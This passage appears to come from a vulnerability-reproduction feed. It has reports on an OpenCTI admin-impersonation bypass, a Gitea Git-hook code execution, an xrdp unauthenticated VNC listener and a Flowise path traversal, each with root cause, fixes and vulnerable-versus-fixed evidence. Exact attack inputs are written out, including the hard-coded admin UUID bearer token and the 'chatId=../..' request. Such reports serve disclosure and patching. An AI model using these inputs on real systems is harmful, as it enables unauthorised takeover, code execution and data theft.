`opencti/platform` (OpenCTI GraphQL API, `opencti-graphql`), all deployment modes that expose the HTTP/GraphQL endpoint. - Affected versions: >= 6.6.0, < 6.9.13 (fixed in 6.9.13). - Risk level: critical (CVSS 9.8 per public advisories). An unauthenticated network attacker can query and mutate the GraphQL API as any existing user, including the default admin: full read access to threat-intelligence data and full administrative control (user management, settings, data destruction). ## Impact Parity - Disclosed/claimed maximum impact: unauthenticated remote authentication bypass / authorization bypass allowing API access as any existing user, including the default admin (impact class `authz_bypass`). - Reproduced impact from this run: unauthenticated GraphQL request carrying only the public, hard-coded default-admin `internal_id` as bearer token was accepted by OpenCTI 6.9.12 and executed both `me` (returning the admin identity) and the admin-only `users` listing query. The identical request was rejected on the fixed 6.9.13 build, while the real secret `api_token` remained accepted on both builds. - Parity: `full` (unauthenticated admin impersonation through the production GraphQL boundary demonstrated end-to-end). ## Root Cause `authenticateUserFromRequest()` extracts the bearer value and calls `authenticateUserByTokenOrUserId(context, req, tokenUUID)`. That function only tests `platformUsers.has(tokenOrId)` on the user cache map. `getEntitiesMapFromCache()` builds this map via `buildStoreEntityMap()`, which indexes each user under `internal_id`, `standard_id`, `x_opencti_stix_ids` **and** `api_token`. The code therefore conflates *public identifiers* with *secret credentials*: possession of a user's internal UUID (for the default admin a constant compiled into the shipped source, `OPENCTI_ADMIN_UUID`) is treated as proof of identity. Fix (6.9.13, diff of `src/domain/user.js` between tags 6.9.12 and 6.9.13): the function was split into `authenticateUserByToken()` — which additionally verifies `crypto.timingSafeEqual(Buffer.from(user.api_token), Buffer.from(token))` — and `authenticateUserByUserId()`, which is only reachable after a successfully authenticated header-provider login (`HEADERS_AUTHENTICATORS`), restoring the invariant that a bearer value must be the secret token. - Vendor advisory: https://github.com/OpenCTI-Platform/opencti/security/advisories/GHSA-6vvv-vmfr-xhrx - Fix: `opencti-platform/opencti-graphql/src/domain/user.js` changes between tags 6.9.12 and 6.9.13. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` (self-contained; only needs Docker and network access to pull images). 2. The script: - starts the real dependency stack (Elasticsearch 8.19.16, Redis 7, RabbitMQ 3.13, MinIO) on an isolated Docker network; - starts `opencti/platform:6.9.12` with a configured admin email/password/token, waits for the platform health endpoint (migrations included); - **attack**: POSTs `{"query":"{ me { id name user_email } }"}` to `/graphql` with `Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f` (the hard-coded default-admin `internal_id`, no credentials); - **attack 2**: POSTs the admin-only `users(first: 5)` listing with the same header; - **controls**: no `Authorization` header, a random unknown UUID bearer, and the real secret `api_token` bearer; - tears the stack down and repeats attack + valid-token control against `opencti/platform:6.9.13` (fixed); - writes `bundle/repro/runtime_manifest.json` and exits 0 only if the vulnerable build impersonates the admin **and** the fixed build rejects the same request. 3. Expected evidence: on 6.9.12 the attack response contains `"user_email":"admin@opencti.io"` for both `me` and `users` queries; controls without a valid secret token return no identity; on 6.9.13 the attack returns no identity while the real token still authenticates. ## Evidence - Driver log: `bundle/logs/reproduction_steps.log` - Attack responses: `bundle/artifacts/opencti/vuln_attack_me_response.json`, `bundle/artifacts/opencti/vuln_attack_users_response.json` - Controls: `bundle/artifacts/opencti/vuln_control_noauth_response.json`, `bundle/artifacts/opencti/vuln_control_random_uuid_response.json`, `bundle/artifacts/opencti/vuln_control_valid_token_response.json` - Fixed-version negative control: `bundle/artifacts/opencti/fixed_attack_me_response.json`, `bundle/artifacts/opencti/fixed_control_valid_token_response.json` - Platform logs: `bundle/artifacts/opencti/platform_vuln.log`, `bundle/artifacts/opencti/platform_fixed.log` - Runtime manifest: `bundle/repro/runtime_manifest.json` - Environment: Docker 29, `opencti/platform:6.9.12` vs `opencti/platform:6.9.13`, Elasticsearch 8.19.16, Redis 7-alpine, RabbitMQ 3.13-management-alpine, MinIO latest. Key excerpts are recorded in `bundle/logs/reproduction_steps.log` (vulnerable build returns the admin identity for the hard-coded UUID bearer; fixed build rejects it). ## Recommendations / Next Steps - Upgrade to OpenCTI >= 6.9.13. - Interim (partial) workaround per vendor: set `APP__ADMIN__EXTERNALLY_MANAGED` to disable the default admin account — note this does not close the bypass for other users, since any user `internal_id`/`standard_id` remains a valid bearer on vulnerable builds. - Treat all user `internal_id`/`standard_id` values as public; rotate admin API tokens if a vulnerable version was exposed. - Regression test: assert that `Authorization: Bearer ` is rejected by the GraphQL endpoint while the user's `api_token` is accepted. ## Additional Notes - The script is idempotent: it recreates the Docker network/containers on each run and cleans them up on exit (trap). It was executed twice consecutively with identical pass results. - No sanitizer, mock, or reimplementation is used: the proof exercises the shipped `opencti/platform` container through its real HTTP/GraphQL listener. - The exploit requires no information beyond what is compiled into the public source tree (`OPENCTI_ADMIN_UUID`), so default deployments are exploitable with zero reconnaissance; impersonating *other* users additionally requires their `internal_id`/`standard_id`, which are routinely exposed in API responses to authenticated parties. ### Reproduction - Reproduced: 2026-07-30T07:51:01.428Z - Duration: 2674s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00314 # or: pruva-verify CVE-2026-27960 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00314 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00314/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00314 ================================================================================ ## REPRO-2026-00312: Gitea diffpatch Git hook installation leads to remote code execution -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00312 - CVE: CVE-2026-60004 (https://nvd.nist.gov/vuln/detail/CVE-2026-60004) ### Package Information - Name: go-gitea/gitea - Ecosystem: github - Affected: >=1.17, <1.27.1 - Fixed: 1.27.1 - Severity: critical - CVSS: Unknown - CWE: CWE-94 (Improper Control of Generation of Code - Code Injection) (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # RCA Report — CVE-2026-60004 / GHSA-rcr6-4jqh-j84m ## Summary Gitea's `POST /api/v1/repos/{owner}/{repo}/diffpatch` endpoint applies attacker-controlled patches inside a **shared bare** temporary clone (`services/repository/files/patch.go` → `TemporaryUploadRepository.Clone(..., bare=true)`). Because the clone is bare, its repository root *is* `$GIT_DIR`. Submitting the same patch twice creates an add/add collision; git's `-3` three-way fallback (enabled for Git ≥ 2.32) then **checks the indexed path out to the working tree** even though the operation uses `--cached`. An executable file placed at `hooks/post-index-change` therefore lands in the live Git hooks directory and becomes an active hook. Git executes it while writing the index, so repository-controlled content runs arbitrary shell commands as the Gitea OS user. With default open registration an unauthenticated visitor can obtain the required write access by registering an account and creating a repository. ## Impact - **Package/component affected:** `services/repository/files/patch.go` (`ApplyDiffPatch`), reached via the public REST endpoint `POST /api/v1/repos/{owner}/{repo}/diffpatch` and the web editor's "apply patch" / cherry-pick fallback paths. Also affects `services/repository/files/cherry_pick.go`. - **Affected versions:** Gitea `>= 1.17` and `< 1.27.1`. - **Risk level:** Critical — remote code execution as the Gitea service account. With open registration (default) the endpoint is reachable by an unauthenticated attacker who self-registers. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote code execution (arbitrary shell command execution as the Gitea OS user), reachable by an unauthenticated attacker via open registration. - **Reproduced impact from this run:** Full remote code execution. The planted `post-index-change` Git hook executed as the Gitea OS user (`vscode` in the test runtime) and wrote a marker file (`RCE_v1.27.0_CONFIRMED`) to disk, reached through the real `POST /api/v1/repos/{owner}/{repo}/diffpatch` endpoint after an unauthenticated self-registration (`/user/sign_up` → HTTP 303) and an ordinary repo-creation flow. - **Parity:** `full` — the claimed unauthenticated→account→repo→RCE chain was exercised end-to-end against the real product binary, with a fixed-version (v1.27.1) negative control that does **not** execute the hook. - **Not demonstrated:** Nothing; the code-execution outcome itself was demonstrated (not merely a crash). ## Root Cause `ApplyDiffPatch` prepares the patch in a temporary clone via `TemporaryUploadRepository.Clone(ctx, opts.OldBranch, /*bare=*/true)` with `Shared: true`. The apply command is: ```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--ignore-whitespace", "--whitespace=fix", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") // --3way fallback } ``` Step-by-step: 1. **Call #1** — a clean patch that adds `hooks/post-index-change` (mode `100755`). With `--cached` the file only enters the index; no working-tree file is written. The resulting commit (tree containing `hooks/post-index-change`) is pushed to the repository, so `HEAD` now tracks that path. 2. **Call #2** — the *same* patch is submitted again. `SetDefaultIndex` (`git read-tree HEAD`) loads the index from the new `HEAD`, which already contains `hooks/post-index-change`. Re-applying the "add" patch produces an **add/add collision**. The `-3` three-way fallback then checks the indexed path out to the working tree even though `--cached` was requested. In a **bare** clone the working tree *is* `$GIT_DIR`, so the executable file is written to `$GIT_DIR/hooks/post-index-change` — a live Git hook. 3. While git writes the index during the apply/merge, it invokes the `post-index-change` hook, which executes the attacker's shell commands as the Gitea OS user. The hook's exit value is not propagated to the diffpatch HTTP response. **Fix (v1.27.1, PR #38637/#38638 "refactor: git patch apply"):** the temporary clone is no longer bare — `Clone(ctx, opts.OldBranch, /*bare=*/false)`. With a real working tree, the three-way fallback writes the checked-out path into the worktree (not `$GIT_DIR/hooks`), so no hook is installed and the apply fails closed (`git apply error: ... hooks/post-index-change: patch does not apply`, HTTP 500) instead of executing attacker code. ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; downloads the official Gitea linux-amd64 binaries for the vulnerable `1.27.0` and the fixed `1.27.1` builds). 2. What the script does, for each build: - Starts a fresh Gitea instance (SQLite, open registration) on localhost as the current OS user and waits for the `/api/v1/version` healthcheck. - **Unauthenticated step:** `GET /user/sign_up` (verifies the open-registration form is served) then `POST /user/sign_up` to self-register an account (HTTP 303 = success); confirms the new account authenticates via the API (`GET /api/v1/user` with basic auth → HTTP 200). - Creates a repository `exploit-repo` with `auto_init` (establishes the `main` branch). - Builds a malicious patch that adds an executable file `hooks/post-index-change` whose body writes a version-specific marker file and records `id -un`. - **Call #1:** `POST /api/v1/repos/{owner}/exploit-repo/diffpatch` with the patch (clean apply, HTTP 201). - **Call #2:** the *same* patch again (add/add collision → three-way fallback → hook planted and triggered). - Checks for the RCE marker file (written by the hook as the Gitea OS user). 3. Expected evidence: on the vulnerable build the marker file `RCE_v1.27.0_CONFIRMED` is created and `vuln_rce_hook.log` records `hook_ran_as_user=vscode`; on the fixed build Call #2 returns HTTP 500 with `git apply error: ... hooks/post-index-change: patch does not apply` and no marker is created. ## Evidence All artifacts under `bundle/` (relative to the bundle root): - `bundle/repro/reproduction_steps.sh` — the reproducer. - `bundle/repro/runtime_manifest.json` — runtime manifest (entrypoint_kind `endpoint`, service_started/healthcheck_passed/target_path_reached all true). - `bundle/logs/repro/gitea_vuln_stdout.log` / `gitea_fixed_stdout.log` — Gitea server logs for each build. - `bundle/logs/repro/vuln_registration.txt` — `registration_http=303`, `api_auth_http=200` (unauthenticated→account chain). - `bundle/logs/repro/vuln_signup_page.html` — the served open-registration form. - `bundle/logs/repro/vuln_patch.txt` — the malicious patch payload. - `bundle/logs/repro/vuln_call1_response.json` / `vuln_call2_response.json` — diffpatch API responses (both HTTP 201 on the vulnerable build). - `bundle/logs/repro/vuln_diffpatch_calls.txt`: `call1_http=201 call2_http=201 marker_found=yes gitea_run_user=vscode`. - `bundle/logs/repro/vuln_rce_marker.txt` — `RCE_v1.27.0_CONFIRMED` (written by the executed hook). - `bundle/logs/repro/vuln_rce_hook.log` — `hook_ran_as_user=vscode` (twice, once per index write). - `bundle/logs/repro/fixed_call2_response.json` — `{"message":"git apply error: exit status 1 - Performing three-way merge... error: hooks/post-index-change: does not match index ... patch does not apply"}` (HTTP 500, hook NOT installed). - `bundle/logs/repro/fixed_diffpatch_calls.txt`: `call1_http=201 call2_http=500 marker_found=no`. Environment: official Gitea `1.27.0` / `1.27.1` linux-amd64 binaries, SQLite backend, Git 2.55.0 (≥ 2.32, so `-3` three-way fallback active), x86_64 Linux, gitea running as the `vscode` OS user. Key excerpts: ``` [vuln] Registration POST HTTP=303 (303 redirect = success) [vuln] API basic-auth as intruder_vuln: HTTP=200 [vuln] Call #1 HTTP=201 [vuln] Call #2 HTTP=201 [vuln] *** RCE MARKER FILE CREATED BY GIT HOOK *** [vuln] marker content: RCE_v1.27.0_CONFIRMED vuln_rce_hook.log: hook_ran_as_user=vscode [fixed] Call #2 HTTP=500 [fixed] No RCE marker file present at /tmp/gitea_rce_marker_v1.27.1 fixed_call2_response.json: "git apply error: exit status 1 - Performing three-way merge... error: hooks/post-index-change: does not match index ... patch does not apply" ``` ## Recommendations / Next Steps - **Upgrade to Gitea 1.27.1** (or later), which makes the temporary patch clone non-bare so checked-out paths cannot land in `$GIT_DIR/hooks`. - Defense-in-depth: do not run `git apply --index` against a bare repository at all; avoid combining `--cached` with `--index`/`--3way` semantics on a bare clone; consider `core.hooksPath` isolation / disabling `post-index-change` for internal temporary clones. - Restrict `service.DISABLE_REGISTRATION` / require admin approval on internet-facing instances to remove the unauthenticated reachability path. - Add a regression test asserting that the temporary patch repository is non-bare (the upstream fix added `services/repository/files/patch_test.go` `TestGitPatchPrepare` checking for `basePath/.git`). ## Additional Notes - **Idempotency:** confirmed — the script was run twice consecutively; both runs confirmed the vulnerable build (marker created, hook ran as the gitea OS user) and cleared the fixed build (no marker). The script removes prior per-run state and markers at start, so it is safe to re-run. - The `post-index-change` hook was introduced in Git 2.31/2.32; the `-3` three-way fallback requires Git ≥ 2.32 (gated by `git.DefaultFeatures().CheckVersionAtLeast("2.32")`). The test runtime uses Git 2.55.0, satisfying both. - The hook's exit value is not reflected in the diffpatch HTTP response, so the proof relies on the on-disk marker file and the `hook_ran_as_user` log rather than the API status code (Call #2 returns 201 on the vulnerable build). - The temporary upload repository is cleaned up by Gitea after the operation, so the planted hook file is transient; the durable proof is the marker the hook wrote while it was live. ### Reproduction - Reproduced: 2026-07-29T10:56:28.309Z - Duration: 1806s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00312 # or: pruva-verify CVE-2026-60004 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00312 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00312/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00312 ================================================================================ ## REPRO-2026-00311: xrdp Xvnc backend authentication issue on RHEL 9 -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00311 - CVE: CVE-2026-55626 (https://nvd.nist.gov/vuln/detail/CVE-2026-55626) ### Package Information - Name: neutrinolabs/xrdp - Ecosystem: github - Affected: GitHub advisory range is xrdp 0.10.3 through 0.10.6 inclusive. The RHEL 9 report reproduced on xrdp-0.10.6-1.el9.x86_64. - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: Unknown ### Root Cause # Root Cause Analysis: CVE-2026-55626 ## Summary CVE-2026-55626 is a missing-authentication flaw in xrdp's Xvnc-over-UNIX-domain-socket (`Xvnc-UDS`) session backend. xrdp deliberately starts Xvnc with RFB `SecurityTypes None` because access to the intended UNIX socket is controlled by filesystem permissions. Before the fix, however, xrdp did not disable Xvnc's separate TCP RFB listener. Consequently, the same desktop was also reachable on localhost TCP port `5900 + display` without any RFB credentials. A local peer able to reach that loopback listener could connect directly and view or control another user's active desktop, bypassing xrdp's intended per-session authorization boundary. ## Impact - **Affected package/component:** xrdp, specifically `sesman/sesexec/session.c` in the Xvnc-UDS session-start path, together with a TigerVNC-compatible Xvnc backend. - **Affected upstream versions:** xrdp 0.10.3 through 0.10.6. The release-line parent tested here, `ee84a41c7d76f651bea45b89303d56d894a2f057`, is after the `v0.10.6` tag and immediately before the security fix. - **Fixed version:** xrdp 0.10.6.1. - **Risk:** High. A local authenticated or otherwise local network peer can bypass the intended UNIX-socket access control and obtain an unauthenticated RFB session to another user's desktop. Successful access permits desktop confidentiality and integrity compromise and may disrupt the session. - **Scope clarification:** The vulnerable unintended peer is Xvnc's loopback TCP listener. Xvnc's intended UNIX-domain socket remains permission-controlled. Normal Xvnc-over-TCP mode and xorgxrdp are not this bug. ## Impact Parity - **Disclosed/claimed maximum impact:** Authentication/authorization bypass allowing unauthorized viewing or control of active desktop sessions. - **Reproduced impact:** An unauthenticated RFB 3.8 peer connected over real TCP to each vulnerable Xvnc process, selected security type `None` (`1`), received a successful security result, and reached `ServerInit` for the live 320x240 desktop without supplying a username, password, cookie, or other credential. The fixed build refused the same TCP connections. - **Parity:** `full`. - **Not demonstrated:** The proof stops at successful authenticated-session bypass and desktop initialization; it does not transmit framebuffer/input messages, steal user data, execute commands, escalate privileges, or claim Internet-remote reachability. Those stronger actions are unnecessary to establish the disclosed authorization bypass. ## Root Cause For an Xvnc-UDS session, `prepare_xvnc_xserver_params()` constructs the Xvnc command line. The vulnerable code adds: ```text -rfbunixpath -rfbunixmode 432 -SecurityTypes None ``` `432` is decimal notation for mode `0660`. The design assumes UNIX-socket ownership and permissions are the sole authorization mechanism, so disabling in-protocol RFB authentication is intentional for that socket. The mistake is that adding `-rfbunixpath` does not implicitly suppress Xvnc's default TCP listener. The generated command therefore exposes two transports sharing `SecurityTypes None`: 1. the intended permission-controlled UNIX socket; and 2. an unintended loopback TCP socket at `5900 + display`, which has no filesystem authorization boundary. The vulnerable runtime command captured in `bundle/logs/vulnerable-attempt-1-processes.log` lacks a TCP-disable option: ```text Xvnc :10 ... -rfbunixpath /tmp/cve55626-vulnerable/run/xrdp/1000/xrdp_display_10 -rfbunixmode 432 -SecurityTypes None ... ``` The fixed runtime command in `bundle/logs/fixed-attempt-3-processes.log` adds `-rfbport -1`: ```text Xvnc :10 ... -rfbport -1 -rfbunixpath /tmp/cve55626-fixed/run/xrdp/1000/xrdp_display_10 -rfbunixmode 432 -SecurityTypes None ... ``` The one-line upstream fix is commit [`517b8a180d8cbad1b7950ff4f6b31491318f5bb5`](https://github.com/neutrinolabs/xrdp/commit/517b8a180d8cbad1b7950ff4f6b31491318f5bb5) on the v0.10 release line. It inserts `"-rfbport", "-1"` before `-rfbunixpath`, preventing creation of the unintended TCP listener. `bundle/logs/security_patch.diff` captures this exact change. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. It accepts `PRUVA_ROOT` and otherwise derives the bundle root from its own path. 2. The script reads `bundle/project_cache_context.json`, uses the prepared checkout when available, resolves the fixed commit and its exact parent, and verifies that only the fixed side contains the expected patch hunk. 3. It installs its clean-sandbox dependencies, builds and installs both exact xrdp revisions, and uses the real `xrdp-sesman`, `xrdp-sesexec`, `xrdp-sesrun`, and TigerVNC `Xvnc` programs. 4. It creates two isolated vulnerable Xvnc-UDS sessions and two isolated fixed sessions. Each session crosses xrdp's real session-start path before an RFB 3.8 client connects through a localhost TCP socket. 5. The client deliberately supplies no credentials. For vulnerable sessions, the script requires RFB security type `None`, a successful security result, and receipt of `ServerInit`. For fixed sessions, it requires the same TCP connection to fail closed. 6. The script writes `bundle/repro/runtime_manifest.json` on every attempt and exits `0` only when all two vulnerable attempts and both fixed controls satisfy their assertions. Expected terminal result: ```text CONFIRMED: vulnerable xrdp Xvnc-UDS sessions exposed an unauthenticated RFB TCP peer; fixed commit disabled that TCP listener. ``` ## Evidence - `bundle/logs/reproduction_steps.log` — complete latest run, including exact source identities and all four probe outcomes. - `bundle/logs/source_identity.log` — vulnerable commit `ee84a41c7d76f651bea45b89303d56d894a2f057` and fixed commit `517b8a180d8cbad1b7950ff4f6b31491318f5bb5`. - `bundle/logs/security_patch.diff` — one-line `-rfbport -1` patch. - `bundle/logs/vulnerable-attempt-1-rfb.json` and `vulnerable-attempt-2-rfb.json` — each records `credentials_supplied: false`, `connected: true`, `security_types: [1]`, `security_result: 0`, and `server_init_received: true`. - `bundle/logs/fixed-attempt-3-rfb.json` and `fixed-attempt-4-rfb.json` — each records `credentials_supplied: false`, `connected: false`, `server_init_received: false`, and `ConnectionRefusedError`. - `bundle/logs/vulnerable-attempt-{1,2}-processes.log` — live vulnerable Xvnc command lines with `-SecurityTypes None` and no `-rfbport -1`. - `bundle/logs/fixed-attempt-{3,4}-processes.log` — live fixed Xvnc command lines containing `-rfbport -1`. - `bundle/logs/*-session-launch.log` and `bundle/logs/*-sesman.log` — product session-start diagnostics showing the xrdp path was exercised. - `bundle/repro/runtime_manifest.json` — strict runtime manifest with `entrypoint_kind: "tcp_peer"`, all reachability flags true, the runtime stack, and concrete proof paths. - `bundle/logs/repro_evidence_sha256.txt` — SHA-256 inventory for the primary proof artifacts. Latest vulnerable probe excerpt: ```json { "credentials_supplied": false, "connected": true, "none_security_offered": true, "security_types": [1], "security_result": 0, "server_init_received": true, "width": 320, "height": 240 } ``` Latest fixed negative-control excerpt: ```json { "credentials_supplied": false, "connected": false, "server_init_received": false, "error": "ConnectionRefusedError(111, 'Connection refused')" } ``` The current worker is Ubuntu 26.04 rather than RHEL 9, but it runs the affected upstream xrdp code with a real TigerVNC Xvnc implementation supporting the same `-rfbunixpath`, `-SecurityTypes None`, and `-rfbport -1` semantics used by the RHEL 9 deployment. No sanitizer or mocked parser/service was used. ## Recommendations / Next Steps 1. Upgrade to xrdp 0.10.6.1 or later, or backport commit `517b8a180d8cbad1b7950ff4f6b31491318f5bb5`. 2. Ensure every Xvnc-UDS launch explicitly disables TCP RFB with `-rfbport -1`; do not assume `-localhost` or `-nolisten tcp` disables the RFB listener (`-nolisten tcp` concerns the X11 transport). 3. As defense in depth, restrict local access to VNC/RFB ports and audit active Xvnc command lines/listening sockets for `-SecurityTypes None` combined with an enabled TCP RFB port. 4. Add an integration regression test that starts Xvnc-UDS, verifies the UNIX socket exists and remains usable by the authorized consumer, and asserts that `5900 + display` refuses TCP connections. 5. Test both vulnerable-style and fixed-style behavior against the TigerVNC package shipped on supported RHEL 9 systems. ## Additional Notes - **Idempotency:** The final script completed successfully twice consecutively after clean per-attempt process and state cleanup. Each execution itself performs two vulnerable attempts and two fixed controls. - **Runtime boundary:** The attack probe is a real RFB TCP peer, not a direct call to `prepare_xvnc_xserver_params()` or a reimplementation of Xvnc. - **Authentication boundary:** xrdp authenticates/authorizes the session owner before starting the desktop. The bypass is subsequent direct access to that already-running desktop through Xvnc's unintended no-auth TCP listener. - **Attacker locality:** Upstream describes a local attacker and `-localhost` binds the unintended listener to loopback. This confirms authorization bypass at a network-protocol TCP boundary, but does not establish access from an arbitrary remote host without an additional local foothold, tunnel, namespace route, or other localhost reachability mechanism. - **Display allocation:** Display numbers can increase when prior X11 lock files remain; the script discovers the actual live display from the generated Xvnc command and probes its corresponding TCP port rather than relying on display `:10`. ### Reproduction - Reproduced: 2026-07-29T10:06:49.181Z - Duration: 3870s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00311 # or: pruva-verify CVE-2026-55626 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00311 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00311/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00311 ================================================================================ ## REPRO-2026-00310: Flowise arbitrary file access via unvalidated chatflowId/chatId -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00310 - CVE: CVE-2025-71334 (https://nvd.nist.gov/vuln/detail/CVE-2025-71334) ### Package Information - Name: FlowiseAI/Flowise - Ecosystem: npm - Affected: GitHub Advisory Database and OSV list flowise >=2.2.8 and <3.0.6; patched version is 3.0.6. - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-73 ### Root Cause # Root Cause Analysis ## Summary Flowise 3.0.5 exposes the public `GET /api/v1/get-upload-file` endpoint without authentication and passes its attacker-controlled `chatId` query parameter into the local-storage path built by `streamStorageFile`. The function validates `chatflowId` but not `chatId`. In its legacy no-organization fallback, `path.join(storageRoot, chatflowId, chatId, filename)` therefore normalizes `../` segments and can resolve outside the configured storage root. A remote unauthenticated request can consequently retrieve a file from the parent of local storage. This run reproduced the issue twice against real Flowise 3.0.5 HTTP servers and showed that the identical requests are rejected twice by Flowise 3.0.6. ## Impact - **Affected package/component:** `flowise` / `flowise-components`, specifically the public `get-upload-file` handler and `streamStorageFile` local-storage fallback. - **Affected version reproduced:** Flowise `3.0.5` (source commit `ba6a602cbe87d9f55c9ee6aebb6407ec2f2066b5`; exact official linux/amd64 image manifest `sha256:30d4fdf8b9e215abff31a67ab104a9750ca25354fe98fe97a3481bbca0352098`). The ticket describes Flowise versions before `3.0.6` as affected. - **Fixed version tested:** Flowise `3.0.6` (source commit `89a0f23fe5e9c0b1ee85ee1175032c6b9e5ac9c1`; exact official linux/amd64 image manifest `sha256:86b83c5f55cd7989453789a39c568d08885be50e74faf9abd5e238269bcfe489`). - **Risk:** High/critical confidentiality risk. An unauthenticated network client with a valid chatflow UUID can read files reachable through traversal from the configured local storage hierarchy. In the default layout, this can expose application state such as the SQLite database and its sensitive records. The vulnerable fallback also copies the source into storage and unlinks the original, creating a data-tampering/availability side effect. ## Impact Parity - **Disclosed/claimed maximum impact:** Pre-auth arbitrary file read/write, information disclosure, and data tampering through Flowise file-storage APIs. - **Reproduced impact:** Pre-auth arbitrary file read through the real HTTP endpoint. A unique secret was created outside `BLOB_STORAGE_PATH`; an HTTP request sent without cookies, `Authorization`, API key, or `x-request-from` returned that exact secret with status 200. The vulnerable fallback then moved the source file into storage, also demonstrating an unauthorized filesystem mutation. - **Parity:** `full` for the canonical contract's `info_leak` impact and the unauthenticated API surface. - **Not demonstrated:** A general attacker-controlled arbitrary-file-write primitive was not needed for the canonical claim and was not claimed as independently proven here. Code execution was neither required nor attempted. ## Root Cause The endpoint is included in `WHITELIST_URLS`, so Flowise's global API middleware allows requests to `/api/v1/get-upload-file` without authentication. The controller reads `chatflowId`, `chatId`, and `fileName` directly from query parameters, resolves the organization from the referenced chatflow, and calls: ```ts streamStorageFile(chatflowId, chatId, fileName, orgId) ``` In Flowise 3.0.5, `streamStorageFile` validates that `chatflowId` is a UUID and rejects traversal only in `chatflowId`. It does not apply `isPathTraversal` to `chatId`. The primary local path is checked, but when it does not exist the migration fallback constructs a second path without the organization prefix: ```ts const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename) ``` Because Node's `path.join` normalizes traversal segments, a value such as `chatId=../..` transforms `storageRoot//../../outside-secret.txt` into a path above `storageRoot`. Critically, this fallback path is not checked with the primary path's absolute/root-containment checks before `existsSync`, `copyFileSync`, `unlinkSync`, and `createReadStream` are used. Filename sanitization cannot constrain traversal supplied through the separate `chatId` component. Flowise 3.0.6 fixes the reproduced mechanism by extending the early guard to both path components: ```ts if (isPathTraversal(chatflowId) || isPathTraversal(chatId)) { throw new Error('Invalid path characters detected in chatflowId or chatId') } ``` The version-paired source diff is captured in `bundle/repro/root_cause_source.txt`. The release change is present between commits `ba6a602cbe87d9f55c9ee6aebb6407ec2f2066b5` and `89a0f23fe5e9c0b1ee85ee1175032c6b9e5ac9c1`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. It honors `PRUVA_ROOT` and the prepared project cache described by `bundle/project_cache_context.json`. 2. The script verifies the exact Flowise Git tags/commits and the presence/absence of the fixing hunk. It then downloads and digest-pins the official linux/amd64 Flowise 3.0.5 and 3.0.6 container filesystems, and runs their bundled Node runtimes and real Flowise CLI/server binaries directly. 3. For each of two isolated attempts per version, it starts Flowise with SQLite and local storage, waits for `/api/v1/ping`, performs administrative setup to create a valid chatflow, places a unique secret just outside `BLOB_STORAGE_PATH`, and sends the exploit request with no authentication material: ```text GET /api/v1/get-upload-file?chatflowId=&chatId=../..&fileName=outside-secret.txt ``` 4. Expected evidence: - Both 3.0.5 attempts return HTTP 200 and the exact unique outside secret, followed by `VULNERABLE_UNAUTHENTICATED_READ_CONFIRMED`. - Both 3.0.6 attempts return HTTP 500 with `Invalid path characters detected in chatflowId or chatId`; the source file remains unchanged, followed by `FIXED_REJECTION_CONFIRMED`. - The script exits 0 only after all four checks pass and prints `REPRODUCTION_CONFIRMED`. ## Evidence - `bundle/logs/reproduction_steps.log` — complete image acquisition, server startup, request/response, and four-attempt verdict transcript. - `bundle/logs/vulnerable_attempt1_response.txt` and `bundle/logs/vulnerable_attempt2_response.txt` — unique bytes disclosed by the unauthenticated endpoint. - `bundle/logs/fixed_attempt1_response.txt` and `bundle/logs/fixed_attempt2_response.txt` — fixed-build rejection JSON. - `bundle/logs/vulnerable_attempt1_service.log`, `bundle/logs/vulnerable_attempt2_service.log`, `bundle/logs/fixed_attempt1_service.log`, and `bundle/logs/fixed_attempt2_service.log` — real Flowise initialization and listening-server evidence. - `bundle/logs/flowise_3.0.5_image_manifest.json` and `bundle/logs/flowise_3.0.6_image_manifest.json` — exact official linux/amd64 OCI manifest and layer identities. - `bundle/repro/source_identity.log` — source tags, commits, and image digests. - `bundle/repro/runtime_manifest.json` — strict runtime manifest with `entrypoint_kind=endpoint` and service, healthcheck, and target-path flags set to true. - `bundle/repro/root_cause_source.txt` — bounded vulnerable code, fixed diff, whitelist, and controller source evidence. Representative successful-run excerpts: ```text unauthenticated_status=200 PRUVA_VULNERABLE_1_ VULNERABLE_UNAUTHENTICATED_READ_CONFIRMED ``` ```text unauthenticated_status=500 {"statusCode":500,"success":false,"message":"Invalid path characters detected in chatflowId or chatId","stack":{}} FIXED_REJECTION_CONFIRMED ``` ## Recommendations / Next Steps - Upgrade self-managed Flowise installations to `3.0.6` or later. - Validate every attacker-controlled path segment (`chatflowId`, `chatId`, organization identifiers, and filenames) before storage-provider use. Prefer strict expected-format validation, such as UUID validation where applicable. - After constructing both primary and fallback paths, resolve them with `path.resolve` and enforce containment using a separator-aware relative-path check; a simple string prefix is insufficient. - Remove or tightly 